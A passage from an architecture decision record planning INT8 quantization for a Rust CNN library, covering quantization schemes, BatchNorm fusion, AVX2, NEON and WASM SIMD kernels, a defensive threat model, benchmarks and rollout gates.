QuantGranularity\n tensor.rs # QuantizedTensor<u8>, QuantizedTensor<i8>, QuantizedTensor<i32>\n config.rs # QuantConfig for workflow configuration\n ops.rs # quantize(), dequantize(), requantize()\n scale.rs # Scale computation algorithms\n```\n\n### 2.3 Bounded Context: Calibration Domain\n\n**Responsibility**: Activation statistics collection, calibration methods, parameter optimization.\n\n**Aggregate Roots**:\n- `CalibrationStats` \u2014 Per-layer activation statistics\n- `CalibrationEngine` \u2014 Orchestrates calibration workflow\n- `Histogram` \u2014 Distribution tracking for percentile methods\n\n**Value Objects**:\n- `CalibrationMethod` \u2014 MinMax, Percentile, Entropy, MSE\n- `CalibrationResult` \u2014 Per-layer quantization parameters\n- `CalibrationConfig` \u2014 Calibration workflow settings\n\n**Domain Events**:\n- `CalibrationStarted { num_layers, num_samples, method }`\n- `LayerCalibrated { layer, scale, zero_point, method }`\n- `CalibrationComplete { total_layers, duration_ms }`\n\n**New files**:\n\n```\ncrates/ruvector-cnn/src/quantization/\n calibration/\n mod.rs # Public calibration API\n stats.rs # CalibrationStats, running min/max/histogram\n histogram.rs # Histogram for percentile computation\n methods.rs # MinMax, Percentile, Entropy, MSE implementations\n engine.rs # CalibrationEngine orchestrator\n```\n\n### 2.4 Bounded Context: Inference Domain\n\n**Responsibility**: Quantized layer implementations, fused operations, inference pipeline.\n\n**Aggregate Roots**:\n- `QuantizedConv2d` \u2014 INT8 convolution with per-channel weights\n- `QuantizedModel` \u2014 Full quantized model wrapper\n- `FusedConvBN` \u2014 Conv2d + BatchNorm fusion\n\n**Value Objects**:\n- `QuantizedWeights` \u2014 Packed INT8 weights with scales\n- `BiasI32` \u2014 Pre-computed bias in accumulator space\n- `RequantizeParams` \u2014 Parameters for output requantization\n\n**Domain Events**:\n- `LayerFused { conv_layer, bn_layer, weight_change_pct }`\n- `InferenceComplete { batch_size, latency_us, throughput_imgs_sec }`\n- `RequantizationApplied { layer, input_scale, output_scale }`\n\n**Integration with existing code**:\n\n| Existing File | Integration |\n|---------------|-------------|\n| `layers/conv.rs` | Add `QuantizedConv2d` variant or wrapper |\n| `layers/batch_norm.rs` | Add `fuse_into_conv()` method |\n| `layers/activation.rs` | Add `relu_int8()`, `relu6_int8()` |\n| `models/mobilenet.rs` | Add `QuantizedMobileNetV3` wrapper |\n\n**New files**:\n\n```\ncrates/ruvector-cnn/src/quantization/\n layers/\n mod.rs # Quantized layer exports\n conv.rs # QuantizedConv2d with INT8 forward\n fused.rs # FusedConvBN implementation\n activation.rs # Quantized ReLU, ReLU6, HardSwish\n pooling.rs # Quantized average/max pooling\n linear.rs # Quantized fully-connected layer\n model.rs # QuantizedModel wrapper\n```\n\n### 2.5 Bounded Context: SIMD Kernel Domain\n\n**Responsibility**: Platform-specific INT8 SIMD implementations.\n\n**Aggregate Roots**:\n- `Int8Kernel` \u2014 Trait for INT8 SIMD operations\n- `Avx2Int8Kernel` \u2014 AVX2 implementation\n- `NeonInt8Kernel` \u2014 ARM NEON implementation\n- `WasmInt8Kernel` \u2014 WASM SIMD128 implementation\n\n**Value Objects**:\n- `DotProductResult` \u2014 Accumulated i32 result from INT8 dot product\n- `ConvTile` \u2014 Tiled convolution parameters for cache efficiency\n- `PackedWeights` \u2014 Memory layout optimized for SIMD access\n\n**Domain Events**:\n- `KernelSelected { platform, isa, width_bits }`\n- `TileProcessed { oh, ow, oc_chunk, cycles }`\n- `SimdUtilization { theoretical_max, achieved, efficiency_pct }`\n\n**Integration with existing code**:\n\n| Existing File | Integration |\n|---------------|-------------|\n| `simd/mod.rs` | Add INT8 kernel dispatch |\n| `simd/avx2.rs` | Add `dot_product_int8_avx2`, `conv_3x3_int8_avx2` |\n| `simd/neon.rs` | Add `dot_product_int8_neon`, `conv_3x3_int8_neon` |\n\n**New files**:\n\n```\ncrates/ruvector-cnn/src/quantization/\n simd/\n mod.rs # INT8 kernel trait and dispatch\n avx2.rs # AVX2 INT8 kernels (_mm256_maddubs_epi16)\n neon.rs # NEON INT8 kernels (vdotq_s32 / vmull)\n wasm.rs # WASM SIMD128 INT8 kernels\n scalar.rs # Scalar fallback for testing/compatibility\n```\n\n### 2.6 Bounded Context: Observability Domain\n\n**Responsibility**: Benchmarking, accuracy testing, profiling, quality metrics.\n\n**Aggregate Roots**:\n- `QuantBenchSuite` \u2014 Criterion-based benchmark collection\n- `AccuracyValidator` \u2014 FP32 vs INT8 accuracy comparison\n- `QualityMonitor` \u2014 Runtime quality tracking\n\n**Value Objects**:\n- `BenchmarkResult` \u2014 Throughput, latency, memory metrics\n- `AccuracyReport` \u2014 Per-layer and end-to-end accuracy metrics\n- `ProfileSnapshot` \u2014 Cache, memory, cycle counts\n\n**New files**:\n\n```\ncrates/ruvector-cnn/benches/\n int8_quant_bench.rs # Criterion benchmarks for INT8 kernels\n\ncrates/ruvector-cnn/src/quantization/\n validation/\n mod.rs # Validation exports\n accuracy.rs # AccuracyValidator, MSE/cosine comparison\n quality.rs # QualityMonitor for runtime checks\n```\n\n---\n\n## 3. Decision: Architecture\n\n### 3.1 Core Design Principles\n\n| Principle | Rationale |\n|-----------|-----------|\n| **Per-channel weights** | Critical for CNN accuracy; different channels have different weight distributions |\n| **Asymmetric activations** | ReLU outputs are non-negative; asymmetric uses full [0, 255] range |\n| **Fuse BatchNorm** | Eliminates extra memory pass; standard for inference |\n| **AVX2 first** | Widest deployment; `_mm256_maddubs_epi16` is the key instruction |\n| **Calibration-based PTQ** | No retraining required; fast deployment |\n\n### 3.2 Quantization Scheme\n\n```rust\n// Symmetric quantization for weights (per-channel)\n// w_q = round(w / scale), scale = max_abs(w) / 127\n\n// Asymmetric quantization for activations (per-tensor)\n// x_q = round(x / scale) + zero_point\n// scale = (max - min) / 255\n// zero_point = round(-min / scale)\n\npub enum QuantMode {\n /// w_q = round(w / scale), zero_point = 0\n Symmetric,\n /// x_q = round(x / scale) + zero_point\n Asymmetric,\n}\n\npub enum QuantGranularity {\n /// Single scale for entire tensor\n PerTensor,\n /// Scale per output channel (for Conv2d weights)\n PerChannel,\n}\n```\n\n### 3.3 INT8 Convolution Data Flow\n\n```\n Quantize INT8 Conv Dequantize\nInput (f32) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Input (u8) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Acc (i32) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Output (f32)\n \u2502 \u2502\n \u2502 \u2502\n v v\n scale_in, zp_in scale_out = scale_in * scale_w\n (per-channel)\n\nINT8 Accumulator formula:\n acc[oc] = bias_q[oc] + \u03a3(input_q[ic] * weight_q[oc,ic])\n - zp_in * \u03a3(weight_q[oc,ic]) // zero-point correction\n\nDequantize:\n output[oc] = acc[oc] * scale_out[oc]\n```\n\n### 3.4 BatchNorm Fusion\n\n```rust\n/// Fuse BatchNorm into preceding Conv2d\n///\n/// Conv: y = W * x + b\n/// BN: y' = \u03b3 * (y - \u03bc) / \u03c3 + \u03b2\n///\n/// Fused: y' = W' * x + b'\n/// Where: W' = W * (\u03b3 / \u03c3)\n/// b' = (b - \u03bc) * (\u03b3 / \u03c3) + \u03b2\n\npub fn fuse_conv_bn(conv: &Conv2d, bn: &BatchNorm) -> Conv2d {\n let scale = bn.gamma / (bn.var + eps).sqrt();\n let fused_weights = conv.weights * scale; // broadcast per output channel\n let fused_bias = (conv.bias - bn.mean) * scale + bn.beta;\n Conv2d::new_with_weights(fused_weights, fused_bias)\n}\n```\n\n### 3.5 Key AVX2 Instructions\n\n| Instruction | Operation | Use Case |\n|-------------|-----------|----------|\n| `_mm256_maddubs_epi16` | u8\u00d7i8\u2192i16, pairwise add | Core INT8 multiply |\n| `_mm256_madd_epi16` | i16\u00d7i16\u2192i32, pairwise add | Accumulate to i32 |\n| `_mm256_max_epu8` | max(u8, u8) | Quantized ReLU |\n| `_mm256_min_epu8` | min(u8, u8) | Quantized clamp |\n| `_mm256_cvtepi32_ps` | i32\u2192f32 | Dequantization |\n\n### 3.6 System Invariants\n\n**These invariants MUST be enforced throughout the implementation:**\n\n| Invariant | Rule | Rationale |\n|-----------|------|-----------|\n| **INV-1: Accumulator Type** | Accumulator is always `i32` | Prevents overflow in dot products |\n| **INV-2: Bias Domain** | Bias is always stored in accumulator domain (`i32`) | Enables single fused MAC operation |\n| **INV-3: Zero-Point Fusion** | Zero-point correction is always fused into bias before runtime | Eliminates per-inference subtraction |\n| **INV-4: Dequant Boundaries** | Dequantization only occurs at defined graph boundaries | Prevents precision loss from repeated quant/dequant |\n| **INV-5: Provenance** | Quantized tensors always carry scale/zero_point metadata | Enables correct dequantization and debugging |\n| **INV-6: Scalar Oracle** | Every SIMD kernel has a scalar reference with bit-exact or bounded equivalence | Validates kernel correctness |\n| **INV-7: Calibration Versioning** | Calibration artifacts are versioned and checksummed | Reproducibility and audit trail |\n| **INV-8: Export Config** | Model export records exact quantization config | Enables model provenance tracking |\n\n### 3.7 Activation Format Rules\n\n| Context | Tensor Format | Domain | Rationale |\n|---------|---------------|--------|-----------|\n| **Pre-ReLU activations** | `i32` (accumulator) | Signed | May contain negative values before activation |\n| **Post-ReLU activations** | `u8` | Unsigned [0, 255] | ReLU output is non-negative; asymmetric uses full range |\n| **Post-ReLU6 activations** | `u8` | Unsigned [zp, zp+6/scale] | Clamped to [0, 6] in float domain |\n| **Post-HardSwish activations** | `u8` | Unsigned | Output range depends on input; asymmetric |\n| **Residual add inputs** | `u8` | Unsigned | Both branches requantized to common scale |\n| **Residual add output** | `i32` \u2192 `u8` | Accumulator \u2192 Unsigned | Add in i32, then requantize |\n\n### 3.8 Operator Coverage\n\n| Operator | Support Status | INT8 Strategy | Notes |\n|----------|----------------|---------------|-------|\n| **Conv2d (standard)** | \u2705 Supported | Per-channel weights, u8 activations | Core operator |\n| **Conv2d (depthwise)** | \u2705 Supported | Per-channel weights, u8 activations | Critical for MobileNet |\n| **Conv2d (pointwise 1\u00d71)** | \u2705 Supported | Per-channel weights, u8 activations | Highly memory-bound |\n| **BatchNorm** | \u2705 Fused | Absorbed into preceding Conv2d | Graph transform, no runtime cost |\n| **ReLU** | \u2705 Supported | `max(x, zero_point)` in u8 domain | Single SIMD instruction |\n| **ReLU6** | \u2705 Supported | Clamp to [zp, zp+6/scale] | Two SIMD instructions |\n| **HardSwish** | \u2705 Supported | LUT or piecewise linear in u8 | MobileNetV3 requirement |\n| **Linear (FC)** | \u2705 Supported | Per-channel weights | Final classifier layer |\n| **Average Pooling** | \u2705 Supported | Sum in i32, divide, requantize | Maintains precision |\n| **Max Pooling** | \u2705 Supported | Direct u8 max operation | No precision change |\n| **Global Average Pool** | \u2705 Supported | Sum in i32, divide, requantize | Final pooling layer |\n| **Residual Add** | \u2705 Supported | Requantize both branches, add in i32 | Requires scale alignment |\n| **Concatenate** | \u26a0\ufe0f Deferred | Requires scale alignment | Lower priority |\n| **Squeeze-Excite** | \u26a0\ufe0f Deferred | Complex scale handling | Phase 2 |\n\n### 3.9 Graph Rewrite Passes\n\n**BatchNorm fusion is a graph transform, not just a method.** The quantization pipeline includes these rewrite passes:\n\n| Pass | Order | Description |\n|------|-------|-------------|\n| **FuseBatchNorm** | 1 | Merge BatchNorm params into preceding Conv2d weights/bias |\n| **FuseActivation** | 2 | Fold ReLU/ReLU6 bounds into requantization clamp |\n| **FuseZeroPoint** | 3 | Pre-compute and fold zero-point correction into bias |\n| **AlignResidualScales** | 4 | Insert requantize ops to align residual branch scales |\n| **InsertRequantize** | 5 | Add requantization ops at graph boundaries |\n| **PackWeights** | 6 | Reorder weights to SIMD-optimal layout |\n\n```rust\n/// Graph rewrite pipeline\npub fn prepare_for_int8(graph: &mut ComputeGraph) -> Result<()> {\n FuseBatchNormPass::run(graph)?;\n FuseActivationPass::run(graph)?;\n FuseZeroPointPass::run(graph)?;\n AlignResidualScalesPass::run(graph)?;\n InsertRequantizePass::run(graph)?;\n PackWeightsPass::run(graph)?;\n Ok(())\n}\n```\n\n---\n\n## 4. Security\n\n### 4.1 Threat Model\n\n| Threat | Vector | Severity | Mitigation |\n|--------|--------|----------|------------|\n| Weight overflow | Crafted weights cause i8 overflow | High | Clamp to [-127, 127], assert bounds |\n| Activation overflow | Extreme input values | Medium | Clamp quantized values, validate scale |\n| Calibration poisoning | Adversarial calibration data | Medium | Validate calibration data distribution |\n| Model tampering | Modified quantized weights | High | SHA-256 checksum verification |\n| SIMD memory access | Out-of-bounds vector loads | Critical | Bounds checks before SIMD loops |\n\n### 4.2 Bounds Enforcement\n\n```rust\n/// Safe quantization with bounds checking\npub fn quantize_symmetric(value: f32, scale: f32) -> i8 {\n let scaled = value / scale;\n let clamped = scaled.clamp(-127.0, 127.0);\n clamped.round() as i8\n}\n\n/// Safe SIMD loop with remainder handling\npub unsafe fn process_int8_avx2(data: &[u8], output: &mut [i32]) {\n let chunks = data.len() / 32;\n\n // SIMD loop (safe: chunks * 32 <= data.len())\n for i in 0..chunks {\n let ptr = data.as_ptr().add(i * 32);\n // ... AVX2 operations\n }\n\n // Scalar remainder (safe: explicit bounds)\n for i in (chunks * 32)..data.len() {\n output[i] = process_scalar(data[i]);\n }\n}\n```\n\n### 4.3 Validation\n\n```rust\n/// Validate quantized model integrity\npub fn validate_quantized_model(model: &QuantizedModel) -> ValidationResult {\n // 1. Check all scales are positive and finite\n for layer in model.layers() {\n for &scale in layer.weight_scales() {\n assert!(scale > 0.0 && scale.is_finite());\n }\n }\n\n // 2. Check weight ranges\n for layer in model.layers() {\n for &w in layer.weights_q() {\n assert!(w >= -127 && w <= 127);\n }\n }\n\n // 3. Verify checksum\n let computed = model.compute_checksum();\n assert_eq!(computed, model.stored_checksum());\n\n ValidationResult::Ok\n}\n```\n\n---\n\n## 5. Benchmarking\n\n### 5.1 Benchmark Suite\n\n```rust\n// benches/int8_quant_bench.rs\nuse criterion::{criterion_group, criterion_main, Criterion, BenchmarkId};\n\nfn bench_int8_dot_product(c: &mut Criterion) {\n let mut group = c.benchmark_group(\"int8-dot-product\");\n\n for &size in &[256, 1024, 4096, 16384] {\n let a: Vec<u8> = (0..size).map(|i| (i % 256) as u8).collect();\n let b: Vec<i8> = (0..size).map(|i| ((i % 256) as i8).wrapping_sub(128)).collect();\n\n group.bench_with_input(\n BenchmarkId::new(\"avx2\", size),\n &(&a, &b),\n |bench, (a, b)| bench.iter(|| unsafe { dot_product_int8_avx2(a, b) }),\n );\n\n group.bench_with_input(\n BenchmarkId::new(\"scalar\", size),\n &(&a, &b),\n |bench, (a, b)| bench.iter(|| dot_product_int8_scalar(a, b)),\n );\n }\n group.finish();\n}\n\nfn bench_int8_conv3x3(c: &mut Criterion) {\n let mut group = c.benchmark_group(\"int8-conv3x3\");\n\n // MobileNetV3-Small typical layer sizes\n for &(h, w, in_c, out_c) in &[\n (112, 112, 16, 16), // Early layer\n (56, 56, 24, 24), // Mid layer\n (28, 28, 40, 40), // Later layer\n (14, 14, 112, 112), // Deep layer\n ] {\n let input = vec![128u8; h * w * in_c]; // Centered activations\n let kernel = vec![0i8; out_c * in_c * 9];\n let bias = vec![0i32; out_c];\n let mut output = vec![0i32; h * w * out_c];\n\n group.bench_with_input(\n BenchmarkId::new(\"avx2\", format!(\"{}x{}x{}->{}\", h, w, in_c, out_c)),\n &(),\n |bench, _| bench.iter(|| unsafe {\n conv_3x3_int8_avx2(&input, 128, &kernel, &bias, &mut output,\n h, w, in_c, out_c, 1, 1)\n }),\n );\n }\n group.finish();\n}\n\nfn bench_quantize_dequantize(c: &mut Criterion) {\n let mut group = c.benchmark_group(\"quantize-dequantize\");\n\n for &size in &[1024, 65536, 1048576] {\n let fp32: Vec<f32> = (0..size).map(|i| (i as f32 * 0.001).sin()).collect();\n\n group.bench_with_input(\n BenchmarkId::new(\"quantize-u8\", size),\n &fp32,\n |bench, data| bench.iter(|| quantize_asymmetric(data)),\n );\n }\n group.finish();\n}\n\ncriterion_group!(\n int8_benches,\n bench_int8_dot_product,\n bench_int8_conv3x3,\n bench_quantize_dequantize,\n);\ncriterion_main!(int8_benches);\n```\n\n### 5.2 Performance Targets\n\n| Benchmark | Metric | Target | Baseline (FP32) |\n|-----------|--------|--------|-----------------|\n| INT8 dot product (4096) | Throughput | >40 GB/s | ~10 GB/s |\n| INT8 3x3 conv (56\u00d756\u00d724) | Latency | <100 \u00b5s | ~300 \u00b5s |\n| MobileNetV3-Small full | Latency | <5 ms | ~15 ms |\n| MobileNetV3-Small full | Throughput | >200 img/s | ~70 img/s |\n| Quantization overhead | Per-layer | <10 \u00b5s | N/A |\n| Calibration (100 images) | Total time | <30 s | N/A |\n\n### 5.3 Accuracy Targets\n\n| Model | Metric | Target | FP32 Baseline |\n|-------|--------|--------|---------------|\n| MobileNetV3-Small | Top-1 Acc | >67% | 67.4% |\n| MobileNetV3-Large | Top-1 Acc | >74% | 75.2% |\n| Embedding cosine sim | vs FP32 | >0.995 | 1.0 |\n\n---\n\n## 6. Optimization\n\n### 6.1 Memory Layout\n\n```rust\n/// Optimal weight layout for AVX2 INT8 convolution\n///\n/// Standard: [out_c, kh, kw, in_c] \u2014 poor cache locality\n/// Optimized: [out_c/8, kh, kw, in_c, 8] \u2014 8 output channels packed\n///\n/// This allows loading 8 output channel weights contiguously\n/// for processing with a single AVX2 register.\npub struct PackedWeights {\n data: Vec<i8>,\n out_channels: usize,\n kernel_size: usize,\n in_channels: usize,\n}\n\nimpl PackedWeights {\n pub fn from_standard(weights: &[i8], out_c: usize, ks: usize, in_c: usize) -> Self {\n let mut packed = vec![0i8; weights.len()];\n let oc_groups = (out_c + 7) / 8;\n\n for oc_group in 0..oc_groups {\n for kh in 0..ks {\n for kw in 0..ks {\n for ic in 0..in_c {\n for oc_offset in 0..8 {\n let oc = oc_group * 8 + oc_offset;\n if oc < out_c {\n let src_idx = oc * ks * ks * in_c + kh * ks * in_c + kw * in_c + ic;\n let dst_idx = (oc_group * ks * ks * in_c + kh * ks * in_c + kw * in_c) * 8 + ic * 8 + oc_offset;\n packed[dst_idx] = weights[src_idx];\n }\n }\n }\n }\n }\n }\n\n Self { data: packed, out_channels: out_c, kernel_size: ks, in_channels: in_c }\n }\n}\n```\n\n### 6.2 Cache Tiling\n\n```rust\n/// Tiled convolution for L1/L2 cache efficiency\n///\n/// Process output in tiles that fit in L1 cache:\n/// - Tile activations: ~32KB (L1 data cache)\n/// - Tile weights: ~32KB (share across tiles)\n/// - Accumulator: ~8KB (8 output channels \u00d7 tile size \u00d7 4 bytes)\npub const TILE_H: usize = 8;\npub const TILE_W: usize = 8;\npub const TILE_OC: usize = 8;\n\npub fn conv_3x3_int8_tiled(\n input: &[u8],\n weights: &PackedWeights,\n output: &mut [i32],\n h: usize, w: usize, in_c: usize, out_c: usize,\n) {\n let out_h = h;\n let out_w = w;\n\n // Tile over output spatial dimensions\n for oh_tile in (0..out_h).step_by(TILE_H) {\n for ow_tile in (0..out_w).step_by(TILE_W) {\n // Tile over output channels\n for oc_tile in (0..out_c).step_by(TILE_OC) {\n process_tile(\n input, weights, output,\n oh_tile, ow_tile, oc_tile,\n h, w, in_c, out_c,\n );\n }\n }\n }\n}\n```\n\n### 6.3 Zero-Point Optimization\n\n```rust\n/// Pre-compute zero-point correction term\n///\n/// For each output channel: correction = zp_input \u00d7 \u03a3(weights)\n/// This is constant per output channel and can be folded into bias.\npub fn compute_zp_correction(\n weights: &[i8],\n zero_point: i32,\n out_c: usize,\n in_c: usize,\n ks: usize,\n) -> Vec<i32> {\n let mut corrections = vec![0i32; out_c];\n\n for oc in 0..out_c {\n let mut weight_sum = 0i32;\n for ic in 0..in_c {\n for k in 0..(ks * ks) {\n let idx = oc * in_c * ks * ks + ic * ks * ks + k;\n weight_sum += weights[idx] as i32;\n }\n }\n corrections[oc] = zero_point * weight_sum;\n }\n\n corrections\n}\n\n/// Fuse zero-point correction into bias\npub fn fuse_zp_into_bias(bias: &mut [i32], zp_correction: &[i32]) {\n for (b, &corr) in bias.iter_mut().zip(zp_correction.iter()) {\n *b -= corr; // Subtract because: acc = \u03a3(a*w) - zp*\u03a3(w) = \u03a3(a*w) + bias_fused\n }\n}\n```\n\n---\n\n## 7. WASM Implementation\n\n### 7.1 WASM SIMD128 Kernels\n\n```rust\n#[cfg(target_arch = \"wasm32\")]\nuse core::arch::wasm32::*;\n\n/// WASM SIMD128 INT8 dot product\n///\n/// WASM SIMD128 doesn't have direct u8\u00d7i8\u2192i16 like AVX2's maddubs.\n/// Use i16x8 multiplication with widening.\n#[cfg(target_arch = \"wasm32\")]\npub fn dot_product_int8_wasm(a: &[u8], b: &[i8]) -> i32 {\n let len = a.len();\n let chunks = len / 16;\n\n let mut acc = i32x4_splat(0);\n\n for i in 0..chunks {\n // Load 16 bytes each\n let va = v128_load(a.as_ptr().add(i * 16) as *const v128);\n let vb = v128_load(b.as_ptr().add(i * 16) as *const v128);\n\n // Widen to i16: process low and high halves\n // u8 -> i16 (zero extend)\n let a_lo = i16x8_extend_low_u8x16(va);\n let a_hi = i16x8_extend_high_u8x16(va);\n\n // i8 -> i16 (sign extend)\n let b_lo = i16x8_extend_low_i8x16(vb);\n let b_hi = i16x8_extend_high_i8x16(vb);\n\n // i16 \u00d7 i16 -> i32\n let prod_lo = i32x4_extmul_low_i16x8(a_lo, b_lo);\n let prod_hi = i32x4_extmul_high_i16x8(a_lo, b_lo);\n let prod_lo2 = i32x4_extmul_low_i16x8(a_hi, b_hi);\n let prod_hi2 = i32x4_extmul_high_i16x8(a_hi, b_hi);\n\n // Accumulate\n acc = i32x4_add(acc, prod_lo);\n acc = i32x4_add(acc, prod_hi);\n acc = i32x4_add(acc, prod_lo2);\n acc = i32x4_add(acc, prod_hi2);\n }\n\n // Horizontal sum\n let sum = i32x4_extract_lane::<0>(acc)\n + i32x4_extract_lane::<1>(acc)\n + i32x4_extract_lane::<2>(acc)\n + i32x4_extract_lane::<3>(acc);\n\n // Scalar remainder\n let mut result = sum;\n for i in (chunks * 16)..len {\n result += (a[i] as i32) * (b[i] as i32);\n }\n\n result\n}\n```\n\n### 7.2 WASM Bindings\n\n```rust\n// In crates/ruvector-cnn-wasm/src/quantization.rs\n\n#[wasm_bindgen]\npub struct QuantizedCnnWasm {\n #[wasm_bindgen(skip)]\n model: QuantizedMobileNetV3,\n}\n\n#[wasm_bindgen]\nimpl QuantizedCnnWasm {\n #[wasm_bindgen(constructor)]\n pub fn new(weights: &[u8]) -> Result<QuantizedCnnWasm, JsValue> {\n let model = QuantizedMobileNetV3::from_bytes(weights)\n .map_err(|e| JsValue::from_str(&e.to_string()))?;\n Ok(Self { model })\n }\n\n /// Get embedding for an image (HWC u8 format)\n pub fn embed(&self, image: &[u8], width: usize, height: usize) -> Result<Vec<f32>, JsValue> {\n let input = preprocess_image(image, width, height)?;\n let embedding = self.model.forward(&input)\n .map_err(|e| JsValue::from_str(&e.to_string()))?;\n Ok(embedding)\n }\n\n /// Get model size info\n #[wasm_bindgen(getter, js_name = sizeBytes)]\n pub fn size_bytes(&self) -> usize {\n self.model.size_bytes()\n }\n\n /// Get embedding dimension\n #[wasm_bindgen(getter, js_name = embeddingDim)]\n pub fn embedding_dim(&self) -> usize {\n self.model.embedding_dim()\n }\n}\n```\n\n---\n\n## 8. Integration with Existing Crates\n\n### 8.1 Integration Map\n\n| Existing Component | File | Integration | Change Type |\n|-------------------|------|-------------|-------------|\n| Conv2d | `layers/conv.rs` | Add `to_quantized()` method | Extend |\n| BatchNorm | `layers/batch_norm.rs` | Add `fuse_into(conv)` method | Extend |\n| Activation | `layers/activation.rs` | Add INT8 variants | Extend |\n| MobileNetV3 | `models/mobilenet.rs` | Add `QuantizedMobileNetV3` | Extend |\n| SIMD dispatch | `simd/mod.rs` | Add INT8 kernel selection | Extend |\n| AVX2 kernels | `simd/avx2.rs` | Add INT8 dot/conv kernels | Extend |\n| NEON kernels | `simd/neon.rs` | Add INT8 kernels | Extend |\n| Feature flags | `Cargo.toml` | Add `int8` feature | Extend |\n\n### 8.2 Feature Gating\n\n```toml\n# In crates/ruvector-cnn/Cargo.toml\n\n[features]\ndefault = [\"simd\"]\nsimd = []\nint8 = [] # INT8 quantization support\nint8-avx2 = [\"int8\"] # AVX2 INT8 kernels\nint8-neon = [\"int8\"] # NEON INT8 kernels\nint8-wasm = [\"int8\"] # WASM SIMD INT8 kernels\ncalibration = [\"int8\"] # Calibration infrastructure\n```\n\n---\n\n## 9. Implementation Timeline\n\n| Week | Phase | Deliverables | Key Files |\n|------|-------|-------------|-----------|\n| 1 | **Core Types** | QuantParams, QuantizedTensor, scale computation | `quantization/params.rs`, `tensor.rs`, `ops.rs` |\n| 2 | **AVX2 Kernels** | INT8 dot product, 3\u00d73 conv | `quantization/simd/avx2.rs` |\n| 3 | **Quantized Layers** | QuantizedConv2d, fused BatchNorm | `quantization/layers/conv.rs`, `fused.rs` |\n| 4 | **Activations** | INT8 ReLU, ReLU6, HardSwish | `quantization/layers/activation.rs` |\n| 5 | **Calibration** | Stats collection, MinMax/Percentile | `quantization/calibration/` |\n| 6 | **Model Wrapper** | QuantizedMobileNetV3, end-to-end | `quantization/model.rs` |\n| 7 | **NEON/WASM** | Platform kernels, WASM bindings | `simd/neon.rs`, `simd/wasm.rs` |\n| 8 | **Benchmarks & Validation** | Criterion suite, accuracy tests | `benches/int8_quant_bench.rs` |\n\n---\n\n## 10. Success Criteria\n\n### 10.1 Correctness Criteria\n\n| Criterion | Requirement | Validation Method |\n|-----------|-------------|-------------------|\n| **Scalar-SIMD parity** | AVX2/NEON/WASM output matches scalar within \u03b5=1e-5 | Unit tests with random inputs |\n| **Quantize-dequantize round-trip** | MSE < 1e-4 for representative inputs | Property-based tests |\n| **Graph invariant preservation** | Output shape identical to FP32 | Integration tests |\n| **Overflow prevention** | No i32 overflow in accumulator | Fuzzing with extreme values |\n| **Bounds enforcement** | All weights \u2208 [-127, 127], activations \u2208 [0, 255] | Assertions in debug builds |\n\n### 10.2 Performance Criteria\n\n| Metric | Target | Method | Rollback Threshold |\n|--------|--------|--------|-------------------|\n| MobileNetV3-Small speedup | \u22652.5x vs FP32 | Criterion benchmark | <1.8x |\n| MobileNetV3-Small latency | <5 ms (M4) | Criterion benchmark | >8 ms |\n| INT8 3\u00d73 conv throughput | >20 GOPS | Criterion benchmark | <15 GOPS |\n| Calibration time (100 images) | <30 s | Integration test | >60 s |\n| WASM binary size increase | <50 KB | Build measurement | >100 KB |\n| Memory reduction | \u22653x vs FP32 | Model size comparison | <2x |\n\n### 10.3 Model Quality Criteria\n\n| Metric | Target | Method | Rollback Threshold |\n|--------|--------|--------|-------------------|\n| Top-1 accuracy drop | <1% | ImageNet validation subset | >2% |\n| Embedding cosine similarity | >0.995 vs FP32 | Test suite | <0.992 |\n| Per-layer MSE | <0.01 | Layer-wise comparison | >0.05 |\n| Calibration stability | <1% variance across runs | Repeated calibration | >5% |\n\n### 10.4 Rollout Readiness Criteria\n\n| Criterion | Requirement |\n|-----------|-------------|\n| All existing FP32 tests pass | No regressions |\n| INT8 model produces identical output structure | API compatibility |\n| Calibration workflow documented | User guide with examples |\n| SIMD kernels have scalar fallbacks | All platforms supported |\n| No unsafe code without safety docs | Audit trail |\n| CI benchmarks pass | Automated regression detection |\n| Calibration data versioned | Reproducibility |\n\n---\n\n## 11. Deployment Policy\n\n### 11.1 Platform Support Matrix\n\n| Platform | INT8 Support | Kernel | Status |\n|----------|--------------|--------|--------|\n| **Server (x86_64 AVX2)** | \u2705 Full | `avx2.rs` | Primary target |\n| **Server (x86_64 AVX-512)** | \u26a0\ufe0f Optional | `avx512.rs` | Phase 2 |\n| **Desktop (x86_64)** | \u2705 Full | `avx2.rs` with fallback | Primary target |\n| **Mobile (ARM64 NEON)** | \u2705 Full | `neon.rs` | Primary target |\n| **Browser (WASM SIMD)** | \u2705 Full | `wasm.rs` | Primary target |\n| **Browser (WASM scalar)** | \u2705 Fallback | `scalar.rs` | Compatibility |\n| **Edge (ARM Cortex-M)** | \u26a0\ufe0f Deferred | N/A | Phase 2 |\n| **Microcontroller** | \u274c Not supported | N/A | Out of scope |\n\n### 11.2 Deployment Constraints\n\n| Context | Constraint | Rationale |\n|---------|------------|-----------|\n| **Production inference** | INT8 allowed | Performance-critical path |\n| **Model training** | FP32 only | INT8 PTQ, not QAT |\n| **Calibration** | FP32 forward pass | Requires full precision activations |\n| **Accuracy-critical** | FP32 fallback available | User choice |\n| **Offline secure** | Checksum validation required | Tamper detection |\n\n---\n\n## 12. Acceptance Gates\n\n### 12.1 Gate 1: Core Types (Week 1)\n\n**Entry**: ADR-091 accepted\n**Exit Criteria**:\n- [ ] `QuantParams`, `QuantizedTensor<T>`, `QuantConfig` implemented\n- [ ] `quantize()`, `dequantize()` with property tests\n- [ ] Scale computation algorithms validated\n\n**Rollback**: If types cannot represent MobileNetV3 layer diversity.\n\n### 12.2 Gate 2: AVX2 Kernels (Week 2)\n\n**Entry**: Gate 1 passed\n**Exit Criteria**:\n- [ ] `dot_product_int8_avx2` matches scalar within \u03b5=1e-5\n- [ ] `conv_3x3_int8_avx2` passes layer-wise accuracy tests\n- [ ] Throughput >30 GB/s on dot product benchmark\n\n**Rollback**: If AVX2 kernel accuracy below threshold or <1.5x FP32 speedup.\n\n### 12.3 Gate 3: Quantized Layers (Week 3-4)\n\n**Entry**: Gate 2 passed\n**Exit Criteria**:\n- [ ] `QuantizedConv2d` with per-channel weights\n- [ ] BatchNorm fusion via graph rewrite pass\n- [ ] INT8 ReLU, ReLU6, HardSwish working\n\n**Rollback**: If 